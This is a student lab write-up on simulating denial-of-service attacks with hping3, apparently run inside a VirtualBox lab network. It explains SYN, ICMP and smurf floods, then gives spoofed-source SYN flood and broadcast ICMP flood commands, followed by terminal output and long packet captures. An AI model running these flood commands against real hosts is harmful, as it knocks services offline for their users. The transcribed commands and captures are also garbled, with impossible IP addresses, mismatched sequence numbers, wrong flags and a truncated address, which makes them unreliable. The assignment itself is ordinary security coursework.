

## **Lab Assignment No:-9**

**Aim:-** Simulate DOS attack using HPING3.

**Lab Outcome Attained :- LO5**

**Theory:-**

### **What is Denial of Service Attack?**

A Denial of Service (DoS) attack is a malicious attempt to disrupt the normal functioning of a computer system, network, or online service by overwhelming it with a flood of illegitimate requests or traffic. The primary goal of a DoS attack is to make a resource, such as a website or server, unavailable to its intended users. It does so by consuming the target's resources, such as bandwidth, processing power, or memory, to the point where it cannot handle legitimate requests.

### **Explain SYN flood, ICMP flood and SMURF attack.**

Three common types of DoS attacks:

#### **SYN Flood Attack:**

A SYN flood attack is a type of network-based DoS attack that targets the three-way handshake process in the Transmission Control Protocol (TCP), which is used for establishing connections between devices on the internet.

In a TCP connection, the client sends a SYN (synchronize) packet to initiate a connection with a server. The server is expected to respond with a SYN-ACK (synchronize acknowledgment) packet, and then the client responds with an ACK (acknowledgment) packet to complete the handshake and establish the connection.

In a SYN flood attack, the attacker sends a high volume of SYN packets to the target server, but they do not complete the handshake by sending the expected ACK packets. This leaves the server waiting for the final ACKs, tying up its resources and preventing it from accepting legitimate connections.

SYN flood attacks can quickly overwhelm a server's ability to handle incoming connections, leading to service disruption.

### **ICMP Flood Attack:**

An ICMP (Internet Control Message Protocol) flood attack, also known as a "ping flood" attack, targets the ICMP protocol, which is used for network diagnostics, particularly the "ping" command.

In this type of attack, the attacker sends a high volume of ICMP echo requests (ping requests) to the target system. Each request typically generates a response from the target, creating a flood of traffic.

ICMP flood attacks can consume the target's network bandwidth and processing resources, making it difficult for legitimate network traffic to pass through. This results in network congestion and service degradation or unavailability.

### **SMURF Attack:**

A SMURF attack is a network-based DoS attack that takes advantage of ICMP and IP addressing.

In a SMURF attack, the attacker sends a large number of ICMP echo request (ping) packets to an IP broadcast address, typically spoofing the source IP address to make it appear as if the requests are coming from the victim's IP address. When these requests are sent to the broadcast address, all devices on the target network respond with ICMP echo replies. With a high enough volume of requests, this can flood the victim's network, overwhelming its resources and causing a DoS. To mitigate DoS attacks, organizations use various security measures, including firewalls, intrusion detection systems (IDS), intrusion prevention systems (IPS), and content delivery networks (CDNs). These tools help identify and filter out malicious traffic, allowing legitimate traffic to reach its destination. Additionally, proper network design and configuration can help minimize the impact of DoS attacks.

**Write the Hping3 commands used for performing SYN flood and ICMP flood.**

## Syn flood :

### hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.159

ICMP flood: **hping3 -1 --flood -a 192.168.103 192.168.1.255**

### Output Screenshots:-

```

prasad@prasad-VirtualBox:~$ gedit sample.txt
prasad@prasad-VirtualBox:~$ sudo apt-get install hping3
[sudo] password for prasad:
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  hping3
0 upgraded, 1 newly installed, 0 to remove and 48 not upgraded.
Need to get 107 kB of archives.
After this operation, 284 kB of additional disk space will be used.
Get:1 http://ja.archive.ubuntu.com/ubuntu/bionic/universe amd64 hping3 amd64 3.a2.ds2-7 [107 kB]
Fetched 107 kB in 1s (94.1 kB/s)
Selecting previously unselected package hping3.
(Reading database ... 163322 files and directories currently installed.)
Preparing to unpack .../hping3-3.a2.ds2-7_amd64.deb ...
Unpacking hping3 (3.a2.ds2-7) ...
Setting up hping3 (3.a2.ds2-7) ...
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
prasad@prasad-VirtualBox:~$ man hping3
prasad@prasad-VirtualBox:~$ man hping3
prasad@prasad-VirtualBox:~$ hping3 -C 15000 -d 120 -S -W 64 -p 80 -flood --rand-source 192.168.1.159
[open socket] socket(): Operation not permitted
[main] can't open raw socket
prasad@prasad-VirtualBox:~$ sudo su
[sudo] password for prasad:
root@prasad-VirtualBox:/home/prasad# hping3 -C
root@prasad-VirtualBox:/home/prasad# hping3 -C 15000 -d 120 -S -W 64 -p 80 -flood --rand-source 192.168.1.159
HPING 192.168.1.159 (enps3 192.168.1.159): 5 set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
^C
-- 192.168.1.159 hping statistic --
10859977 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@prasad-VirtualBox:/home/prasad# hping3 -1 -flood -a 192.168.103.1 192.168.1.255
HPING 192.168.1.255 (enps3 192.168.1.255): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
-- 192.168.1.255 hping statistic --
13280 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@prasad-VirtualBox:/home/prasad#

```

```

21:33:33.482337 IP 135.115.228.206.5553 > 192.168.1.159.80: Flags [S], seq 501438372:501438462, win 64, length 120: HTTP
21:33:33.487087 IP 246.106.246.246.5554 > 192.168.1.159.80: Flags [S], seq 1440614489:144061489, win 64, length 120: HTTP
21:33:33.512837 IP 259.158.216.25.5555 > 192.168.1.159.80: Flags [S], seq 5252599087:525299123, win 64, length 120: HTTP
21:33:33.525219 IP 197.187.187.187.5556 > 192.168.1.159.80: Flags [S], seq 1081183798:108118609, win 64, length 120: HTTP
21:33:33.535511 IP 49.105.266.10.5745 > 192.168.1.159.80: Flags [S], seq 3737418410:3737418410, win 64, length 120: HTTP
21:33:33.535558 IP 117.237.227.248.5557 > 192.168.1.159.80: Flags [S], seq 125305799:125305919, win 64, length 120: HTTP
21:33:33.545209 IP 69.72.136.176.5558 > 192.168.1.159.80: Flags [S], seq 1073744130:107342459, win 64, length 120: HTTP
21:33:33.545233 IP 505.4.221.89.5559 > 192.168.1.159.80: Flags [S], seq 1150549071:115051871, win 64, length 120: HTTP
21:33:33.555555 IP 192.168.1.159.5560 > 192.168.1.159.80: Flags [S], seq 124207074:124207074, win 64, length 120: HTTP
21:33:33.565569 IP 227.152.5.127.5802 > 192.168.1.159.80: Flags [S], seq 846471944:846472864, win 64, length 120: HTTP
21:33:33.572743 IP 26.47.172.26.5562 > 192.168.1.159.80: Flags [S], seq 11459989142:1145998922, win 64, length 120: HTTP
21:33:33.579359 IP 104.9.22.5563 > 192.168.1.159.80: Flags [S], seq 1698909159:169890931, win 64, length 120: HTTP
21:33:33.585569 IP 192.168.1.159.5564 > 192.168.1.159.80: Flags [S], seq 124207074:124207074, win 64, length 120: HTTP
21:33:33.603306 IP 119.227.36.233.5565 > 192.168.1.159.80: Flags [S], seq 438166914:438167034, win 64, length 120: HTTP
21:33:33.604965 IP 207.25.124.4.5566 > 192.168.1.159.80: Flags [S], seq 1316388931:131638959, win 64, length 120: HTTP
21:33:33.622486 IP 250.227.48.248.5593 > 192.168.1.159.80: Flags [S], seq 1008210362:1008210482, win 64, length 120: HTTP
21:33:33.622486 IP 192.168.1.159.5594 > 192.168.1.159.80: Flags [S], seq 124207074:124207074, win 64, length 120: HTTP
21:33:33.632806 IP 186.102.86.5569 > 192.168.1.159.80: Flags [S], seq 1238761765:1238761765, win 64, length 120: HTTP
21:33:33.636133 IP 122.58.197.7.5571 > 192.168.1.159.80: Flags [S], seq 1637994411:163794581, win 64, length 120: HTTP
21:33:33.638521 IP 37.129.125.148.5572 > 192.168.1.159.80: Flags [S], seq 1037591524:123791644, win 64, length 120: HTTP
21:33:33.645569 IP 195.6.137.143.5573 > 192.168.1.159.80: Flags [S], seq 216123073:216123073, win 64, length 120: HTTP
21:33:33.652580 IP 192.168.1.159.5575 > 192.168.1.159.80: Flags [S], seq 1396797919:1396797919, win 64, length 120: HTTP
21:33:33.664973 IP 152.207.281.27.5775 > 192.168.1.159.80: Flags [S], seq 1387484555:1387484672, win 64, length 120: HTTP
21:33:33.686105 IP 15.41.229.124.5575 > 192.168.1.159.80: Flags [S], seq 1602466761:1602466881, win 64, length 120: HTTP
21:33:33.694840 IP 159.65.71.57.5576 > 192.168.1.159.80: Flags [S], seq 1063226331:1063226341, win 64, length 120: HTTP
21:33:33.702580 IP 192.168.1.159.5577 > 192.168.1.159.80: Flags [S], seq 125207074:125207074, win 64, length 120: HTTP
21:33:33.723087 IP 248.217.122.89.5577 > 192.168.1.159.80: Flags [S], seq 1059261260:105926220, win 64, length 120: HTTP
21:33:33.728655 IP 193.61.161.248.5752 > 192.168.1.159.80: Flags [S], seq 173432584:17342704, win 64, length 120: HTTP
21:33:33.740884 IP 111.231.65.49.5578 > 192.168.1.159.80: Flags [S], seq 957996395:957996515, win 64, length 120: HTTP
21:33:33.740884 IP 192.168.1.159.5579 > 192.168.1.159.80: Flags [S], seq 125207074:125207074, win 64, length 120: HTTP
21:33:33.744034 IP 159.157.157.12.5579 > 192.168.1.159.80: Flags [S], seq 195516471:195516491, win 64, length 120: HTTP
21:33:33.756985 IP 55.186.160.25.5580 > 192.168.1.159.80: Flags [S], seq 218571662:218571728, win 64, length 120: HTTP
21:33:33.779511 IP 127.21.135.135.5581 > 192.168.1.159.80: Flags [S], seq 19603358298:19603358418, win 64, length 120: HTTP
21:33:33.780540 IP 192.168.1.159.5582 > 192.168.1.159.80: Flags [S], seq 125207074:125207074, win 64, length 120: HTTP
21:33:33.778349 IP 64.45.171.116.5586 > 192.168.1.159.80: Flags [S], seq 3936787016:3936787016, win 64, length 120: HTTP
21:33:33.780154 IP 218.213.51.5.5589 > 192.168.1.159.80: Flags [S], seq 1444643947:1444644867, win 64, length 120: HTTP
21:33:33.782417 IP 259.158.154.4.5590 > 192.168.1.159.80: Flags [S], seq 363642828:363643048, win 64, length 120: HTTP
21:33:33.787240 IP 192.168.1.159.5591 > 192.168.1.159.80: Flags [S], seq 1807497191:1807497191, win 64, length 120: HTTP
21:33:33.793180 IP 192.168.1.159.5734 > 192.168.1.159.80: Flags [S], seq 419191191:419191191, win 64, length 120: HTTP
21:33:44.564540 IP f0:0:0::e524:809:fbb:b6b7 > f0:0:1::: HWI LCMP, multicast listener report v2, 2 group record(s), length 48
21:33:44.564512 IP f0:0:0:0::e524:809:fbb:b6b7 > f0:0:1::: BOOTP/DHCP, Request from 08:00:27:1a:eab:d, length 300
21:33:44.564870 IP f0:0:0:0::e524:809:fbb:b6b7 > f0:0:1::: HWI LCMP, multicast listener report v2, 2 group record(s), length 48
21:33:44.564934 IP f0:0:0:0::e524:809:fbb:b6b7 > f0:0:1::: BOOTP/DHCP, Request from 08:00:27:1a:eab:d, length 300
21:33:47.595714 ARP Request who-has 10.0.2.2 tell 10.0.2.15, length 28
21
```

```
File Edit View Search Terminal Help
21:33:54.823111 IP 37.93.65.14.45923 > 192.168.1.159.80: Flags [S], seq 1689138181:1689138301, win 64, length 120: HTTP
21:33:54.823161 IP 136.178.37.255.45922 > 192.168.1.159.80: Flags [S], seq 631221807:631221907, win 64, length 120: HTTP
21:33:54.823976 IP 110.77.225.146.46013 > 192.168.1.159.80: Flags [S], seq 1733588599:1733588629, win 64, length 120: HTTP
21:33:54.824006 IP 129.208.149.65.46074 > 192.168.1.159.80: Flags [S], seq 1918886471:1918886591, win 64, length 120: HTTP
21:33:54.824327 IP 137.22.133.9.46023 > 192.168.1.159.80: Flags [S], seq 315108302:315108422, win 64, length 120: HTTP
21:33:54.824407 IP 171.220.208.112.46024 > 192.168.1.159.80: Flags [S], seq 754079457:754079577, win 64, length 120: HTTP
21:33:54.824408 IP 171.160.185.119.46025 > 192.168.1.159.80: Flags [S], seq 18948487729:18948487449, win 64, length 120: HTTP
21:33:54.824415 IP 95.136.151.181.46129 > 192.168.1.159.80: Flags [S], seq 1862443648:1862443768, win 64, length 120: HTTP
21:33:54.824447 IP 131.136.211.136.46026 > 192.168.1.159.80: Flags [S], seq 507042471:507042591, win 64, length 120: HTTP
21:33:54.824449 IP 63.149.112.105.46027 > 192.168.1.159.80: Flags [S], seq 508158991:508159021, win 64, length 120: HTTP
21:33:54.824584 IP 158.124.99.76.46022 > 192.168.1.159.80: Flags [S], seq 20250246399:2025024759, win 64, length 120: HTTP
21:33:54.824847 IP 157.128.172.93.46040 > 192.168.1.159.80: Flags [S], seq 1143404615:1143404735, win 64, length 120: HTTP
21:33:54.824888 IP 198.255.146.15.46041 > 192.168.1.159.80: Flags [S], seq 288095268:288095388, win 64, length 120: HTTP
21:33:54.824895 IP 231.208.95.220.46042 > 192.168.1.159.80: Flags [S], seq 1803924015:1803924135, win 64, length 120: HTTP
21:33:54.824742 IP 47.151.81.212.46236 > 192.168.1.159.80: Flags [S], seq 1956165829:1956165949, win 64, length 120: HTTP
21:33:54.872997 IP 146.40.129.158.46161 > 192.168.1.159.80: Flags [S], seq 1995973211:1995973331, win 64, length 120: HTTP
21:33:54.884262 IP 172.52.71.227.46238 > 192.168.1.159.80: Flags [S], seq 1614121324:1614121444, win 64, length 120: HTTP
21:33:54.886123 IP 9.181.38.184.46427 > 192.168.1.159.80: Flags [S], seq 1339339823:1339339943, win 64, length 120: HTTP
21:33:54.891980 IP 48.181.9.3.46239 > 192.168.1.159.80: Flags [S], seq 2021332193:2021332313, win 64, length 120: HTTP
21:33:54.895828 IP 158.120.223.135.46241 > 192.168.1.159.80: Flags [S], seq 315642045:315642165, win 64, length 120: HTTP
21:33:54.900296 IP 231.105.71.220.46242 > 192.168.1.159.80: Flags [S], seq 695710013:695710133, win 64, length 120: HTTP
21:33:54.916739 IP 96.160.96.228.46243 > 192.168.1.159.80: Flags [S], seq 1747331316:1747331436, win 64, length 120: HTTP
21:33:54.919408 IP 217.149.65.164.46245 > 192.168.1.159.80: Flags [S], seq 1733448392:1733448512, win 64, length 120: HTTP
21:33:54.941057 IP 106.93.158.99.46247 > 192.168.1.159.80: Flags [S], seq 729312731:72931391, win 64, length 120: HTTP
21:33:54.943996 IP 48.201.22.128.46249 > 192.168.1.159.80: Flags [S], seq 933095583:933095703, win 64, length 120: HTTP
21:33:54.945114 IP 47.181.213.55.46250 > 192.168.1.159.80: Flags [S], seq 1671217815:1671217935, win 64, length 120: HTTP
21:33:54.951364 IP 149.9.259.116.46277 > 192.168.1.159.80: Flags [S], seq 293158521:293158641, win 64, length 120: HTTP
21:33:54.958097 IP 137.29.12.129.46281 > 192.168.1.159.80: Flags [S], seq 72745895:72745995, win 64, length 120: HTTP
21:33:54.969405 IP 114.117.159.136.46359 > 192.168.1.159.80: Flags [S], seq 1864447032:1864447152, win 64, length 120: HTTP
21:33:54.980786 IP 172.164.227.32.46369 > 192.168.1.159.80: Flags [S], seq 98542542:98542662, win 64, length 120: HTTP
21:33:54.994360 IP 114.124.68.109.46352 > 192.168.1.159.80: Flags [S], seq 1035223507:1035223627, win 64, length 120: HTTP
21:33:55.006566 IP 65.13.111.224.46388 > 192.168.1.159.80: Flags [S], seq 76909556:76909676, win 64, length 120: HTTP
21:33:55.017702 IP 195.149.140.48.46255 > 192.168.1.159.80: Flags [S], seq 166081009:166081129, win 64, length 120: HTTP
21:33:55.037174 IP 225.92.6.112.46258 > 192.168.1.159.80: Flags [S], seq 1493974630:1493974750, win 64, length 120: HTTP
21:33:55.048803 IP 64.151.184.180.46259 > 192.168.1.159.80: Flags [S], seq 1352651598:1352651718, win 64, length 120: HTTP
21:33:55.053102 IP 137.1.159.124.46321 > 192.168.1.159.80: Flags [S], seq 1937290715:1937290835, win 64, length 120: HTTP
21:33:55.087973 IP 58.47.151.95.46260 > 192.168.1.159.80: Flags [S], seq 1772187200:1772187320, win 64, length 120: HTTP
21:33:55.094131 IP 227.54.162.27.46261 > 192.168.1.159.80: Flags [S], seq 1732465732:1732465852, win 64, length 120: HTTP
21:33:55.097900 IP 173.160.13.231.46262 > 192.168.1.159.80: Flags [S], seq 572214795:572214915, win 64, length 120: HTTP
21:33:55.097980 IP 152.168.148.15.46263 > 192.168.1.159.80: Flags [S], seq 107416212:107416332, win 64, length 120: HTTP
21:33:55.130569 IP 9.64.250.36.46264 > 192.168.1.159.80: Flags [S], seq 1892567292:1892567412, win 64, length 120: HTTP
21:33:55.145755 IP 65.149.31.148.46265 > 192.168.1.159.80: Flags [S], seq 1551720930:1551721050, win 64, length 120: HTTP
21:33:55.173804 IP 95.248.106.19.46266 > 192.168.1.159.80: Flags [S], seq 438785116:438785236, win 64, length 120: HTTP
21:33:55.215223 IP 133.165.115.227.46267 > 192.168.1.159.80: Flags [S], seq 509925679:509925799, win 64, length 120: HTTP
21:33:55.224922 IP 64.40.249.157.46268 > 192.168.1.159.80: Flags [S], seq 1548724422:1548724542, win 64, length 120: HTTP
21:33:55.232648 IP 52.45.221.214.46270 > 192.168.1.159.80: Flags [S], seq 508090725:508090845, win 64, length 120: HTTP
]

File Edit View Search Terminal Help
21:35:28.456438 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 24782, length 8
21:35:28.456678 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 24958, length 8
21:35:28.456690 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 25214, length 8
21:35:28.456708 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 25470, length 8
21:35:28.456748 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 25726, length 8
21:35:28.456795 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 25982, length 8
21:35:28.456815 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 26238, length 8
21:35:28.456851 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 26494, length 8
21:35:28.463890 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 62590, length 8
21:35:28.464017 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 62846, length 8
21:35:28.465588 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 63102, length 8
21:35:28.466486 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 63358, length 8
21:35:28.467213 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 63614, length 8
21:35:28.467922 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 63870, length 8
21:35:28.468988 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 64126, length 8
21:35:28.469788 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 64382, length 8
21:35:28.470577 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 64638, length 8
21:35:28.471004 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 64894, length 8
21:35:28.472663 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 65150, length 8
21:35:28.473435 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 65406, length 8
21:35:28.474306 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 127, length 8
21:35:28.475142 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 303, length 8
21:35:28.475952 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 639, length 8
21:35:28.476936 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 895, length 8
21:35:28.477922 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 1151, length 8
21:35:28.478702 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 1407, length 8
21:35:28.479781 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 1663, length 8
21:35:28.481145 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 1919, length 8
21:35:28.482659 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 2175, length 8
21:35:28.484017 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 2431, length 8
21:35:28.486223 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 2687, length 8
21:35:28.488884 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 2943, length 8
21:35:28.495069 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 3199, length 8
21:35:28.495720 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 3455, length 8
21:35:28.495722 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 3711, length 8
21:35:28.495723 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 3967, length 8
21:35:28.495724 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 4223, length 8
21:35:28.495725 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 4479, length 8
21:35:28.495726 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 4735, length 8
21:35:28.504753 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 8063, length 8
21:35:28.504768 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 8319, length 8
21:35:28.504769 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 8575, length 8
21:35:28.504771 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 8831, length 8
21:35:28.504772 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 9087, length 8
21:35:28.504773 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 9343, length 8
21:35:28.504774 IP 192.168.103.1 > 192.168.1.255: ICMP echo request, id 45065, seq 9599, length 8
]
```

**Conclusion:-**Learnt more about the network analysis and security assessment tools. Explored various network probing and testing techniques, which are valuable skills in the field of network administration and cybersecurity.Also executed several hping3 commands and performed DOS attack using hping3

